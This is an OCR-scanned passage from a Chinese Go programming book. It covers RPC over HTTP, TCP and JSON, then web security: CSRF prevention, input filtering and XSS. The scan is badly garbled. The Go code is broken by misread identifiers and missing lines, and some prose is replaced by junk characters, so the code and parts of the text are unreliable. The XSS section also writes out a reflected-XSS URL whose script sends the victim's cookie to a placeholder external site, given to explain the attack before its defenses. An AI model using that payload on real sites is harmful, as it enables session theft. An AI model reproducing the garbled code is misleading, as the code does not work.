面 的 例子 可 以 看 到 ， 我 们 注册 了 一 个 Arith 的 RPC 服 务 ， 然 后 
通过 rpc.HandleHTTP 函 数 把 该 服务 注册 到 了 HTTP 协 议 上 ， 然 后 就 可 以 
利用 http 的 方式 来 传递 数据 。 

请 看 下 面 的 客户 端 代码 。 











Package main 


import ( 
ener 
"Tog" 
"net/rpe" 
Tie 


] 





type Args 
A, B int 


type Quotient struct { 
Quo, Rem int 





fmt.Printin("Usage: ", o3.Args[0], "server") 
os.Exit (1) 
上 


rverAdar: 





os .args[l] 





client, err ， serverAddress+":1234") 
if err {= nil 上 


log. Fatal ("dialin 


rpc. DialH?TP ("ti 








:", err) 





} 
/1/ Synchronous call 
args := Args{17, 8} 
var reply int 
err = client.Call ("Arith.Multiply", args, éreply) 
if err != nil { 
log.Fatal ("arith error:", err) 











Emt .Printf ("Arith: #d*¢d=d\n", args.A, args.B, reply) 
var quot Quotient 
err = client.Call("Arith.Divide", args, squot) 
if err != nil { 
log.Fatal ("arith error:", err) 








} 
Emt .Printf ("Arith: #d/%d-%d remainder $d\n", args.A, args.B, quot.Quo, 
quet-Rem) 


我 们 把 上 面 的 服务 端 和 客户 端的 代码 分 别 编译 ， 先 把 服务 端 开启 ， 
然后 开启 客户 端 ， 输 入 代码 ， 就 会 输出 如 下 信息 。 


$ ./http_c localhost 
Arith: 17*8=136 
Arith: 17/8=2 remainder 


fie Lame eal, 参数 和 返回 值 是 我 们 定义 的 struct 类 
型 ， 在 服务 端 我 们 把 它们 当做 调用 函数 的 参数 的 类 型 ， 在 客户 端 作 为 
client.Call 的 第 >、3 两 个 参数 的 类 型 。 客 户 端 最 重要 的 就 是 Call 函 数 ， 它 
有 3 个 参数 ， 第 1 个 要 调用 的 函数 的 名 字 ， 第 2 个 是 要 传递 的 参数 ， 第 3 个 
要 返回 的 参数 (注意 是 指针 类 型 》， 通 过 上 面 的 代码 例子 我 们 可 以 发 
现 ， 使 用 Go 语言 的 RPC 实 现 非常 简单 。 

TCP RPC 

我 们 实现 了 基于 HTTP 协 议 的 RPC， 接 下 来 我 们 要 实现 基于 TCP 协 
议 的 RPC， 服 务 端的 实现 代码 如 下 所 示 。 





这 个 代码 和 http 的 服务 器 相 比 ， 不 同 在 于 此 处 我 们 采用 了 TCP 协 
议 ， 然 后 需要 自己 控制 连接 ， 当 有 客户 端 连接 后 ， 我 们 需要 把 这 个 连接 
交 给 rpc 来 处 理 。 

如 果 读 者 留心 ， 会 发 现 这 它 是 一 个 阻塞 型 的 单 用 户 的 程序 ， 如 果 想 
要 实现 多 并 发 ， 那 么 可 以 使 用 goroutine 来 实现 ， 我 们 在 介绍 Socket 时 已 
经 介绍 过 如 何 处 理 goroutine。 下 面 展现 了 TCP 实 现 的 RPC 客 户 端 。 


package main 


import ( 
ee 
"log" 
"net/rpe" 
es 


) 


type Args struct { 
A, B int 
) 


type Quotient struct { 
Quo, Rem int 
1 





04 

if lenlos.Args) != 2 { 
fmt.Println("Usage: ", os.Args[0], 
os.Exit(1) 


server:port") 





} 

service := os Args[1] 

client, err := rpe.Dial("tep", service) 
if err 1= nil { 





log. Fatal ("dialing:", err) 
} 

// Synchronous call 

args := Argsil7, B} 

var reply int 

err = client.call ("arith. 
if err != nil { 

Fatal ("arith erro: 








uitiply", args, reply) 


eters) 





fmt. Printf ("arit 





sd*¥d=sd\n", args.A, args.B, reply) 


var quot Quotient 
err = client.Call("Arith. Divide", args, équot) 
if err != nil { 

log.Fatal ("arith error:", err) 





} 
fmt. P: 
quot.Rem) 





tf("Arith: $d/$d=%d remainder d\n", args.A, args.B, quot.Quo, 





这 个 客户 端 代码 和 http 的 客户 端 代码 对 比 ， 唯一 的 区 别 一 个 是 
DialHTTP， 一 个 是 Dial (tep) ， 其 他 处 理 完全 一 样 。 
JSON RPC 


JSON RPC 是 数据 编码 采用 了 JSON， 而 不 是 gob 编 码 ， 其 他 和 上 面 
介绍 的 RPC 概 念 一 样 ， 下 面 我 们 来 演示 一 下 ， 如 何 使 用 Go 语言 提供 的 
json-rpc 标 准 包 ， 请 看 服务 端 代码 的 实现 。 


package main 





“net /rpe" 
“net/rpe/jsonrpe" 
"os" 


) 


type Args struct { 
A, B int 
A 


type Quotient struct { 
Quo, Rem int 
> 


type Arith int 


func (t *Arith) Multiply(args ‘args, reply Aint) error { 
‘reply = args.A * args.B 
return nil 


(t *Arith) Divide (args *Args, quo *Quotient) error 1 
of 
errors.New("divide by zero") 








return nil 


func main() { 


arith := new(Arith) 
rpc-Register (arith) 





tepaddr, err 
checkError (err) 





net.ResolveTcPaddr("tcp", ":1234") 


listener, err := net.ListenTcP("tcp", tcpAddr) 
checkerror (err) 


for { 
conn, err istener.Accept () 
if err != nil { 

continue 








) 
jsonrpc. ServeConn (conn) 


kError (err error) { 
err != nil { 

fmt. Println ("Fata 
os Exit (1) 








rror ", err.Error()) 


} 


通过 示例 我 们 可 以 看 出 json-rpc 是 基于 TCP 协 议 实现 的 ， 目 前 它 还 不 
支持 HTTP 方 式 。 
请 看 客户 端的 实现 代码 。 


package main 


import ( 
ene” 
"log" 
"net/rpc/jsonrpc" 


es 


type Args struct { 
A, B int 


type Quotient struct { 
Que, Rem int 
} 


func main () 
if len(os.args) i 
fmt .Brintln("0sage: ", os.Args[0], "server:port") 
log. Fatal (1) 





} 


service := os.Args[1] 
client, err := jsonrpe.Dial("tcp", service) 
if err t= nil { 





log. Fatal ("dialing:", err) 
} 
/7 Synchronous call 
args := Args{17, 8} 
var reply int 
err = client.call("Arith.Multiply", args, éreply) 
if err != nil { 
log.Fatal ("arith error:", err) 








ï 


fmt.Printf("Arith: sd*td-%d\n", args.A, args.B, reply) 





var quot Quotient 
err = client.call("arith.Divide", args, &quot) 
if err != nil { 
log.fatal("arith error:", err) 
i 
fmt .Printf ("Arith: &d/$d=%d remainder łd\n", args.A, args.B, quot .Quo, 
quot Rem) 


小 结 


Go 语言 已 经 提供 了 对 RPC 的 良好 支持 ， 通 过 HTTP、TCP、JSON 
RPC 的 实现 ， 我 们 就 可 以 很 方便 地 开发 很 多 分 布 式 的 Web 应 用 ， 我 想 读 
者 朋友 已 经 领会 到 这 一 点 。 但 是 很 目前 Go 语言 尚未 提供 对 SOAP 
RPC 的 支持 ， 欣 慰 的 是 现在 已 经 有 第 三 方 的 开源 实现 了 。 





8.5 总结 


我 们 在 本 章 介 绍 了 目前 流行 的 几 种 主要 的 网 络 应 用 开发 方式 ， 第 
8.1 节 介绍 了 网 络 编程 中 基础 的 Socket 编 程 ， 因 为 现在 网 络 正在 朝 云 的 方 
向 快速 进化 ， 作 为 这 一 技术 演进 的 基石 的 Socket 知 识 ， 开 发 者 有 必要 掌 
握 。 第 8.2 节 介绍 了 正 愈 发 流行 的 HTML5 中 一 个 重要 的 特性 WebSocket， 
通过 它 ， 服 务 器 可 以 实现 主动 的 push 消 息 ， 以 简化 以 前 ajax 轮 询 的 模 
式 。 第 8.3 节 介绍 了 REST 编 写 模式 ， 此 模式 特别 适合 开发 网 络 应 用 
API， 随 着 移动 应 用 的 快速 发 展 ， 将 来 会 是 一 个 潮流 。 第 8.4 节 介绍 了 Go 
语言 实现 的 RPC 相 关 知 识 ， 对 于 上 面 四 种 开发 方式 ，Go 语 言 都 已 经 提供 
了 良好 的 支持 ，net 包 及 其 子 包 ， 是 所 有 涉及 网 络 编程 的 工具 所 在 地 。 
如 果 读 者 想 更 加 深入 了 解 相关 实现 细节 ， 可 以 尝试 阅读 这 个 包 下 面 的 源 
码 。 


第 9 章 Be Ses 


无 论 是 Web 应 用 的 开发 者 还 是 企图 利用 Web 应 用 漏洞 的 攻击 者 ， 对 
于 Web 程 序 安全 这 个 话题 都 越 来 越 关注 。 尤 其 是 近期 站 密码 泄露 
事件 ， 更 是 让 我 们 对 Web 安 全 这 个 话题 重视 ， 人 人 谈 密 码 色 变 ， 都 开始 
检测 自己 的 系统 是 否 存在 漏洞 。 我 们 作为 一 名 Go 语言 程序 的 开发 者 ， 
人 并 提前 做 好 
防范 的 准备 。 

很 多 Web 应 用 程序 中 的 安全 问题 都 是 由 于 轻信 了 第 三 方 提供 的 数 
据 。 比 如 对 于 用 户 的 输入 数据 ， 在 对 其 进行 验证 之 前 都 应 该 将 其 视 为 不 
安全 的 数据 。 如 果 直 接 把 这 些 不 安全 的 数据 输出 到 客户 端 ， 就 可 能 造成 
跨 站 脚本 攻击 (XSS) 的 问题 。 如 果 把 不 安全 的 数据 用 于 数据 库 查询 ， 
那么 就 可 能 造成 SQL 注 入 问题 ， 我 们 将 在 第 9.3、 第 9.4 节 介绍 如 何 避 免 
这 些 问题 。 

在 使 用 第 三 方 提供 的 数据 ， 包 括 用 户 提供 的 数据 时 ， 首 先 检验 这 些 
数据 的 合法 性 非常 重要 ， 这 个 过 程 叫 做 过 滤 ， 我 们 将 在 第 9.2 节 介绍 如 
何 保证 对 所 有 输入 的 数据 进行 过 滤 处 理 。 

过 滤 输 入 和 转 义 输出 并 不 能 解决 所 有 的 安全 问题 ， 我 们 将 在 第 9.1 
节 讲 解 CSRF 攻 击 ， 会 导致 受骗 者 发 送 攻击 者 指定 的 请 求 从 而 造成 一 些 


与 安全 加 密 相关 的 ， 能 够 增强 我 们 的 Web 应 用 程序 的 强大 手段 就 是 
加 密 ， 某 些 网 站 泄密 事件 就 是 因为 保存 的 是 明文 密码 ， 使 得 攻击 者 获得 
数据 之 后 直接 实施 一 些 破坏 行为 。 不 过 ， 和 其 他 工具 一 样 ， 加 密 手 段 也 
< Ene 我 们 将 在 第 9.5 节 介绍 如 何 存储 密码 ， 如 何 让 密码 存储 
得 安全 。 

加 密 的 本 质 就 是 扰乱 数据 ， 我 们 称 某 些 不 可 恢复 的 数据 扰乱 为 单 向 
加 密 或 者 散 列 算法 。 另 外 还 有 一 种 双向 加 密 方式 ， 也 就 是 可 以 对 加 密 后 
的 数据 进行 解密 。 我 们 将 在 第 9.6 节 介绍 如 何 实现 这 种 双向 加 密 方式 。 




















9.1 预防 CSRF 攻 了 


HT 


什么 是 CSRF 


CSRE (Cross-Site Request Forgery) ， 跨 站 请 求 伪 造 ， 也 被 称 为 one 
click attack/session riding， 缩 写 为 CSRF/XSRF。 

那么 CSRF 到 底 能 够 干什么 呢 ? 可 以 简单 理解 为 ， 攻 击 者 可 以 盗用 
你 的 登录 信息 ， 以 你 的 身份 模拟 发 送 各 种 请 求 。 攻 击 者 只 要 借助 少许 的 
社会 工程 学 的 诡计 ， 例 如 通过 QQ 等 聊天 软件 发 送 的 链接 (有些 还 伪装 
成 短 域名 ， 用 户 无 法 分 辨 ) ， 攻 击 者 就 能 迫使 Web 应 用 的 用 户 去 执行 攻 
击 者 预 设 的 操作 。 例 如 ， 当 用 户 登 录 网 络 银行 去 查看 其 存款 余额 ， 在 他 
没有 退出 时 ， 就 点 击 了 一 个 QQ 好 友 发 来 的 链接 ， 那 么 该 用 户 银行 账户 
中 的 资金 就 有 可 能 被 转移 到 攻击 者 指定 的 账户 中 。 

所 以 终端 用 户 遇 到 CSRF 攻 击 时 ， 将 对 其 数据 和 操作 指令 构成 严重 
的 威胁 ， 当 受 攻击 的 终端 用 户 具有 管理 员 账 户 的 时 候 ，CSRF 攻 击 将 危 
及 整个 Web 应 用 程序 。 


CSRF 的 原理 


图 9.1 简 单 阐述 了 CSRF 攻 击 的 过 程 。 













HTTP Request CSRF Attack 


[SET HTTP/1-1 |GET /bug-php?symbol=SCOX&shares=1688 HTTP/1.1 


=s — S 


Host: ww.example.org | Host: stocks.example.org 





HTTP Response 





图 9.1 CSRF 的 攻击 过 程 


A TARN; 要 完成 一 次 CSRF 攻 击 ， 受 害 者 必须 依次 完成 两 
TA 

1. 登录 受信 任 网 站 A， 并 在 本 地 生成 Cookie 。 

2. 在 不 退出 A 的 情况 下 ， 访 问 危 险 网 站 B。 

看 到 这 里 ， 读 者 也 许 会 问 : “如 果 我 不 满足 以 上 两 个 条 件 中 的 任意 
一 个 ， 就 不 会 受到 CSRF 的 攻击 *。 是 的 ， 确 实 如 此 ， 但 你 不 能 保证 以 下 
情况 不 会 发 生 。 

o ”你 不 能 保证 你 登录 了 一 个 网 站 后 ， 不 再 打开 一 个 tab 页 面 并 访问 
另外 的 网 站 ， 尤 其 是 现在 浏览 器 都 是 支持 多 tab 的 。 

。 你 不 能 保证 你 关闭 浏览 器 了 后 ， 本 地 的 Cookie 立 刻 过 期 ， 上 次 
的 会 话 已 经 结束 。 

o 上 图 中 所 谓 的 攻击 网 站 ， 可 能 是 一 个 存在 其 他 漏洞 的 可 信任 的 
经 常 被 人 访问 的 网 站 。 

因此 对 于 用 户 来 说 ， 很 难 避 免 在 登录 一 个 网 站 之 后 不 点 击 其 他 链接 





进行 一 些 操作 ， 所 以 随时 可 能 成 为 CSRF 的 受害 者 。 

CSRF 攻 击 主要 是 因为 Web 的 隐 式 身份 验证 机 制 ，Web 的 身份 验证 
机 制 虽然 可 以 保证 一 个 请 求 是 来 自 于 某 个 用 户 的 浏览 器 ， 但 却 无 法 保证 
该 请 求 是 用 户 批准 发 送 的 。 


如 何 预防 CSRF 


通过 上 面 的 介绍 ， 读 者 是 否 觉得 这 种 攻击 很 恐怖 ， 意 识 到 恐怖 是 个 
好 事情 ， 这 样 会 促使 你 接着 了 解 如 何 改进 和 防止 类 似 漏洞 出 现 。 

CSRF 的 防御 可 以 从 服务 端 和 客户 端 两 方面 着 手 ， 防 御 效 果 是 从 服 
务 端 着 手 效果 比较 好 ， 现 在 一 般 的 CSRF 防 御 也 都 在 服务 端 进行 。 

有 务 端 预防 CSRF 攻 击 的 方法 有 多 种 ， 但 思想 上 都 是 差不多 的 ， 主 
| 下 两 个 方面 入 手 。 
正确 使 用 GET、POST 和 Cookie。 
z 在 非 GET 请 求 中 增加 伪 随 机 数 。 
上 一 章 介绍 过 REST 方 式 的 Web 应 用 ， 一 般 而 言 ， 普 通 的 Web 应 用 
都 是 以 GET、POST 为 主 ， 还 有 一 种 请 求 是 Cookie 方 式 。 我 们 一 般 都 是 
按照 如 下 方式 设计 应 用 。 
1，GET 常 用 在 查看 、 列 举 、 展 示 等 不 需要 改变 资源 属性 的 时 候 。 
2. POST 常用 在 下 达 订单 ， 改 变 一 个 资源 的 属性 或 者 做 其 他 一 些 寻 


接 下 来 我 们 就 以 Go 语言 来 举例 说 明 ， 如 何 限制 对 资源 的 访问 方 





ut 








mux.Get ("/user/? 
x Post ("/user/ modifyuser) 


“这样 处 理 后 ， 因 为 我 们 限定 了 修改 只 能 使 用 POST， 当 GET 方 式 请 
求 时 就 拒绝 响应 ， 所 以 上 面 图 示 中 GET 方 式 就 可 以 防止 CSRE 的 攻击 ， 
但 这 样 就 能 全 部 解决 问题 了 吗 ? 当然 不 是 ， 因 为 POST 也 是 可 以 模拟 


的 。 

因此 我 们 需要 实施 第 二 步 ， 在 非 GET 方 式 的 请 求 中 增加 随机 数 ， 这 
个 大 概 有 三 种 方式 来 进行 。 

1. 为 每 个 用 户 生 成 一 个 唯一 的 cookie token， 所 有 表单 都 包含 同一 
个 伪 随机 值 ， 这 种 方案 最 简单 ， 因 为 理论 上 攻击 者 不 能 获得 第 三 方 的 
Cookie， 所 以 表单 中 的 数据 也 就 构造 失败 ， 但 是 由 于 用 户 的 Cookie 很 容 
人 所 以 这 个 方案 必须 在 没有 XSS 的 情况 
下 才 安 全 。 

2. 每 个 请 求 使 用 验证 码 ， 这 个 方案 是 完美 的 ， 因 为 要 多 次 输入 验 






", getuser) 











证 码 ， 所 以 用 户 友 好 性 很 差 ， 所 以 不 适合 实际 运用 。 

3. 不 同 的 表单 包含 一 个 不 同 的 伪 随 机 值 ， 我 们 在 第 4.4 节 介绍 “防止 
多 次 递交 表单 "时 介绍 过 此 方案 ， 复 用 相关 代码 ， 实 现 如 下 。 

生成 随机 数 token。 

h := md5.New() 

io.Writestring(h, strconv.FormatInt (crutime, 10)) 

io.WriteString(h, "ganraomaxxxxxxxxx") 

token := fmt.Sprint£("x", h.Sum{nil)) 


t, _ t= template.ParseFiles("login.gtp1") 

t Execute(w, token) 

输出 token。 

<input type="hidden" name="token" value="{{.}}"> 
验证 token。 


r.ParseForm() 
token := r.Form sr "coken") 
if token != "" 
/7 验证 token 的 合法 性 
} else { 


171 不 存在 token 报错 


这 样 基本 就 实现 了 安全 的 POST， 但 是 也 许 你 会 问 ， 如 果 破 解 了 
token 的 算法 呢 ? 按照 理论 上 是 ， 但 是 实际 上 破解 是 基本 不 可 能 的 ， 因 
为 有 人 曾 计算 过 ， 暴 力 破解 该 串 大 概 需要 2 的 11 次 方 秒 的 时 间 。 


总 结 


1 2A 


跨 站 请 求 伪造 ， 即 CSRF， 是 一 种 非常 危险 的 Web 安 全 威胁 ， 它 被 
Web 安 全 界 称 为 “沉睡 的 巨人 ”， 其 威胁 程度 有 此 “美誉 " 便 可 见 一 班 。 本 
节 不 仅 对 跨 站 请 求 伪造 进行 了 简单 介绍 ， 还 详细 说 明 造 成 这 种 漏洞 的 原 
因 所 在 ， 然 后 提 了 一 些 防范 该 攻击 的 建议 ， 希 望 对 读者 编写 安全 的 Web 
应 用 有 所 启发 。 


9.2 确保 输入 过 滤 


过 滤 用 户 数据 是 Web 应 用 安全 的 基础 ， 证 数据 合法 性 的 过 程 
通过 对 所 有 的 输入 数据 进行 过 滤 ， 可 以 避免 MAR CEP NARR 
ae ee Te RR EA RT 
过 滤 i 








我 们 介绍 的 过 滤 数 据 分 成 三 个 步骤 。 

1. 识别 数据 ， 搞 清楚 需 数据 来 自 于 哪里 。 

2. 过 滤 数 据 ， 开 明白 我 们 需要 什么 样 的 数据 。 

3. 区 分 已 过 滤 及 被 污染 数据 ， 如 果 存 在 攻击 数据 ， 保 证 过 滤 之 后 
可 以 让 我 们 使 用 更 安全 的 数据 。 


识别 数据 


“识别 数据 "作为 第 一 步 是 因为 在 你 不 知道 “数据 是 什么 ， 它 来 自 于 
哪里 ”的 前 提 下 ， 你 也 就 不 能 正确 地 过 滤 它 。 这 里 的 数据 是 指 所 有 源 自 
非 代码 内 部 提供 的 数据 。 例 如 ， 所 有 来 自 客 户 端的 数据 ， 但 客户 端 并 不 
人 数据 库 和 第 三 方 提供 的 接口 数据 等 也 可 以 是 外 部 

我 们 通过 Go 语言 非常 容易 识别 由 用 户 输入 的 数据 ，Go 语 言 通 过 
rParseForm 之 后 ， POST 和 GET 的 提名 让 在 了 om 时 四 。 其 
他 的 输入 更 难 识 别 ， 例 如 ，rHeader 中 的 很 多 元 素 是 由 客户 端 所 操纵 
的 。 TRIGA VIE PAEA THN 所 以 ， 最 好 的 方法 是 把 
里 面 所 有 的 数据 都 看 成 是 用 户 输入 (例如 r.Header.Get("AcceptCharset") 
这 也 看 做 是 用 户 输入 ， 虽 然 这 些 大 多 数 是 浏览 器 操纵 的 ) 。 


过 滤 数 据 


知道 数据 来 源 之 后 ， 就 可 以 过 滤 它 了 。 

语 ， 它 在 平时 表述 中 有 很 多 同义词 ， 如 给 证 、 人 F: 
语 表面 意义 不 同 ， 但 它们 都 是 指 同一 个 处 理 ; 防止 非法 数据 进入 应 用 。 

过 滤 数 据 有 很 多 种 方法 ， 有 一 些 安全 性 较 差 。 最 好 的 方法 是 把 过 滤 
看 成 一 个 检查 的 过 程 ， 在 你 使 用 数据 之 前 都 检查 一 下 、 看 它们 是 否 符合 
合法 数据 的 要 求 。 不 要 试图 好 心地 去 纠正 非法 数据 ， 而 要 让 用 户 按 你 制 
定 的 规则 去 输入 数据 。 历 史 证 明了 试图 纠正 非法 数据 往往 会 导致 安全 漏 
洞 。 举 个 例子 : sd nae 如 果 密 码 后 面 两 位 是 9， 只 要 输 
入 前 面 四 位 就 能 登录 系统 ”， 一 个 非常 严重 的 漏洞 。 

过 滤 数 据 主要 采用 如 下 一 TOILE, 

estrconv 包 下 面 的 字符 串 转化 相关 函数 ， 因 为 从 Request 中 的 
rForm 返 回 的 是 字符 串 ， 而 有 些 时 候 我 们 需要 将 之 转化 成 整 / 浮 点 数 
Atoi、ParseBool、ParseFloat、ParseInt 等 函数 就 可 以 派 上 用 场 了 。 















estring 包 下 面 的 一 些 过 滤 函 数 Trim、ToLower、ToTitle 等 函数 ， 
能 够 帮助 我 们 按照 指定 的 格式 获取 

eregexp 包 用 来 处 理 一 些 复 杂 的 需求 ， 例 如 判定 输入 是 否 是 E- 
mail、 生 日 之 类 。 

过 滤 数 据 除 了 检查 验证 之 外 ， 在 特殊 时 候 ， 还 可 以 采用 白 名 单 。 即 
段 定 你 正在 检查 的 数据 都 是 非法 的 ， 除 非 能 证 明 它 是 合法 的 。 使 用 这 个 
方法 ， 如 果 出 现 错误 ， 只 会 导致 把 合法 的 数据 当成 是 非法 的 ， 而 不 会 是 
ER 下 想 犯 任何 错误 ， 但 这 样 总 比 把 非法 数据 当成 合法 数据 
要 安全 得 多 。 


区 分 过 滤 数据 


如 果 完 成 了 识别 数据 和 过 滤 数 据 ， 数 据 过 滤 的 工 { 
但 是 在 编写 Web 应 用 的 时 候 我 们 还 需要 区 分 已 过 滤 和 被 污染 A 
这 样 可 以 保证 过 滤 数 据 的 完整 性 ， 而 不 影响 输入 的 数据 。 我 们 约定 把 所 
有 经 过 过 滤 的 数据 放 入 一 个 叫 全 局 的 Map 变 量 中 (CleanMap) 。 这 时 需 
要 用 两 个 重要 的 步骤 来 防止 被 污染 数据 的 注入 。 
。 每 个 请 求 都 要 初始 化 CleanMap 为 一 
. I ee ee 变量 全 直入 CleanMap。 
$ 接 下 来 ， 让 我 们 通过 一 个 例子 来 巩固 这 些 概念 ， 请 看 下 面 这 个 表 
= <form action="/whoami" method="POST"> 
我 是 谁 : 
<select name="name"> 
<option value-"astaxie*>astaxie</option> 
<option value="herry*>herry</option> 
A cake en oD 
</select> 
? <input type="submit" /> 
</form> 
在 处 理 这 个 表单 的 编程 逻辑 中 ， 非 常 容易 犯 的 错误 是 认为 只 能 提交 
三 个 选择 中 的 一 个 。 其 实 攻击 者 可 以 模拟 POST 操作 ， 递 交 name=attack 
这 样 的 数据 ， 所 以 此 时 我 们 需要 做 类 似 白 名 单 的 处 理 。 
et 
make (map[string]interface{}, 0) 
astaxie" || name == "herry" || name == "marry" { 
"name"] = name 


我 们 在 上 面 代码 中 初始 化 了 一 个 CleanMap 的 变量 ， 当 判 断 获 取 的 





























name 是 astaxie、herry、marry 三 个 之 一 后 ， 我 们 把 数据 存储 到 了 
CleanMap 之 中 ， 这 样 就 可 以 确保 CleanMap["name"] 中 的 数据 是 合法 的 ， 
从 而 在 代码 的 其 他 部 分 使 用 它 。 当 然 我 们 还 可 以 在 else 部 分 增加 非法 数 
据 的 处 理 ， 一 种 可 能 是 再 次 显示 表单 并 提示 错误 。 但 是 不 要 试图 为 了 友 
好 而 输出 被 污染 的 数据 。 
上 面 的 方法 对 于 过 滤 一 组 已 知 的 合法 值 的 数据 很 有 效 ， 但 是 对 于 过 
滤 有 一 组 已 知 合法 字符 组 成 的 数据 时 就 没有 什么 帮助 。 例 如 ， 你 可 能 需 
一 个 用 户 名 只 能 由 字母 及 数字 组 成 。 
rparseForm() 
username := r.Form.Get ("username") 


CleanMap := make (map[string]interface{}, 0) 
if ok, _ := regexp.MatchString("*[a-zA-Z0-9].$", username); ok { 


CleanMap["username"] = username 
} 


小 结 


数据 过 滤 在 Web 安 全 中 起 到 一 个 基石 的 作用 ， 大 多 数 的 安全 问题 都 
是 由 于 没有 过 滤 数 据 和 验证 数据 引起 的 ， 例 如 前 文 所 述 的 CSRF 攻 击 ， 
以 及 接 下 来 将 要 介绍 的 XSS 攻 击 、SQL 注 入 等 都 是 没有 认真 过 滤 数 据 引 
起 的 ， 因 此 我 们 需要 特别 重视 这 部 分 的 内 容 。 





9.3 ”避免 XSS 攻 寺 


or 


随 着 互联 网 技术 的 发 展 ， 现 在 的 Web 应 用 都 含有 大 量 的 动态 内 容 以 
提高 用 户 体验 。 所 谓 动态 内 容 ， 就 是 应 用 程序 外 E 够 根据 用 户 环境 和 用 户 
请 求 ， 输 出 相应 的 内 容 。 动 态 站 点 
击 ”(Cross Site Scripting， 安 全 专家 们 通常 将 其 缩写 成 XSS) 的 威胁 ， 
而 静态 站 点 则 完全 不 受 其 影响 。 





什么 是 XSS 


XSS 攻 击 : 跨 站 脚本 攻击 (Cross-Site Scripting) > WL AAR REE 
IK (Cascading Style Sheets, CSS) 的 缩写 混淆 ， 故 将 跨 站 脚本 攻击 缩 
写 为 XSS。XSS 是 一 种 常见 的 Web 安 全 : 它 允 许 攻击 者 将 恶意 代码 
植 入 到 提供 给 其 他 用 户 使 用 的 页 面 中 。 不 同 于 大 多 数 攻 击 〈 一 般 只 涉及 








攻击 者 和 受害 者 ) ，XSS 涉 及 三 方 ， 即 攻击 者 、 客 户 端 与 Web 应 用 。 
XSS 的 攻击 目标 是 为 了 盗 取 存储 在 客户 端的 Cookie 或 者 其 他 网 站 用 于 识 
别 客户 端 身份 的 敏感 信息 。 一 旦 获取 到 合法 用 户 的 信息 后 ， 攻 击 者 甚至 
可 以 假冒 合法 用 户 与 网 站 进行 交互 。 

XSS 通 常 可 以 分 为 两 大 类 : 一 类 是 存储 型 XSS， 主 要 出 现在 让 用 户 
输入 数据 ， 供 其 他 浏览 此 页 的 用 户 进行 查看 的 地 方 ， 包 括 留 言 、 评 论 、 
博客 日 志和 各 类 表单 等 。 应 用 程序 从 数据 库 中 查询 数据 ， 在 页 面 中 显示 
出 来 ， 攻 击 者 在 相关 页 面 输 入 恶意 的 脚本 数据 后 ， 用 户 浏览 此 类 页 面 时 
就 可 能 受到 攻击 。 这 个 流程 可 以 简单 描述 为 ， 恶意 用 户 的 Html 输 入 Web 
程序 ~ 进入 数据 库 -Web 程序 用 户 浏览 器 。 另 一 类 是 反射 型 XSS， 主 
要 做 法 是 将 脚本 代码 加 入 URL 地 址 的 请 求 参数 ， 请 求 参数 进入 程序 后 在 
页 面 直接 输出 ， 用 户 点 击 类 似 的 恶意 链接 就 可 能 受到 攻击 。 

XSS 目 前 主要 的 手段 和 目的 如 下 。 

o 盗用 Cookie， 获 取 敏感 信息 。 

e 利用 植 入 Flash， 通 过 crossdomain 权 限 设置 进一步 获取 更 高 权 
R: 或 者 利用 Java 等 得 到 类 似 的 操作 。 

e 利用 iframe、frame、XMLHttpRequest 或 上 述 Flash 等 方式 ， 以 
(被 攻击 者 ) 用 户 的 身份 执行 一 些 管理 动作 ， 或 执行 发 微 博 、 加 好 友 、 
发 私信 等 常规 操作 ， 新 浪 微 博 就 曾 遭 遇 过 一 次 XSS。 

o 利用 可 被 攻击 的 域 受到 其 他 域 信任 的 特点 ， 以 受信 任 来 源 的 身 
份 请 求 一 些 平时 不 允许 的 操作 ， 如 进行 不 当 的 投票 活动 。 

o 在 访问 量 极 大 的 一 些 页 面 上 的 XSS 可 以 攻击 一 些小 型 网 站 ， 实 
现 DDoS 攻 击 的 效果 。 


XSS 的 原理 


Web 应 用 未 对 用 户 提交 请 求 的 数据 做 充分 的 检查 过 滤 ， 人 允许 用 户 在 
提交 的 数据 中 摊 入 HTML 代 码 〈 最 主要 的 是 “>”、“<”) ， 并 将 未 经 转 义 
e ee aa 是 导致 XSS 漏 洞 的 产 

原因 。 

接 下 来 以 反射 性 XSS 举 例 说 明 XSS 的 过 程 :现在 有 一 个 网 站 ， 根 据 
参数 输出 用 户 的 名 称 ， 例 如 访问 url: http:/127.0.0.1/?name=astaxie， 就 
会 在 浏览 器 输出 如 下 信息 。 

hello astaxie 

如 果 我 们 传递 这 样 的 url: htep://127.0.0.1/2 
name=&#60;script&#62;alert(&#39;astaxie, xss&#39;)&#60;/script&#62;, 













浏览 器 跳出 一 个 弹出 框 ， 这 说 明 站 点 已 经 存在 了 XSS 漏 洞 。 那 么 恶意 用 
户 是 如 何 盗 取 Cookie 的 呢 ? 与 上 类 似 ， 如 下 这 样 的 URL: 
http://127.0.0.1/? 
name=&#60;script&#62;document.location.href='http://www.xxx.com/cooki 
e?'+document.cookie&#60;/script&#62;， 可 以 把 当前 的 Cookie 发 送 到 指定 
的 站 点 : www.xxx.com。 你 也 许 会 说 ， 这 样 的 URL 一 看 就 有 问题 ， 怎 么 
会 有 人 点 击 ? 是 的 ， 这 类 URL 会 让 人 怀疑 ， 但 如 果 使 用 短 网 址 服务 将 之 
缩短 ， 你 还 看 得 出 来 么 ? 攻击 者 将 缩短 过 后 的 URL 通 过 某 些 途径 传播 开 
来 ， 不 明 真 相 的 用 户 一 旦 点 击 了 这 样 的 URL， 相 应 Cookie 数 据 就 被 发 送 
到 事先 设 定好 的 站 点 ， 这 样 就 盗 得 了 用 户 的 Cookie 信 息 ， 然 后 就 可 以 利 
用 Websleuth 之 类 的 工具 来 检查 是 否 能 盗 取 该 用 户 的 账户 。 

读者 可 以 参考 《新 浪 微 博 XSS 事 件 分 析 》， 了 解 更 加 详细 的 关于 
XSS 的 分 析 。 详 见 http://www.rising.com.cn/newsletter/news/2011-08- 
18/9621.html。 


如 何 预防 XSS 


答案 很 简单 ， 坚 决 不 要 相信 用 户 的 任何 输入 ， 并 过 滤 掉 输入 中 的 所 
有 特殊 字符 。 这 样 就 能 消灭 绝 大 部 分 的 XSS 攻 击 。 

目前 防御 XSS 主 要 有 如 下 几 种 方式 。 

避免 XSS 的 方法 之 一 就 是 将 用 户 所 提供 的 内 容 进 行 过滤 ，Go 语 言 提 
供 了 HTML 的 过 滤 函 数 : 

text/template 包 下 面 的 HTMLEscapeString、JSEscapeString 等 函数 。 

。 使 用 HTTP 头 指定 类 型 。 

w.Header().Set("Content-Type","text/javascript") 

这 样 就 可 以 让 浏览 器 解析 javascript 代 码 ， 而 不 会 是 html 输 出 。 

















小 结 


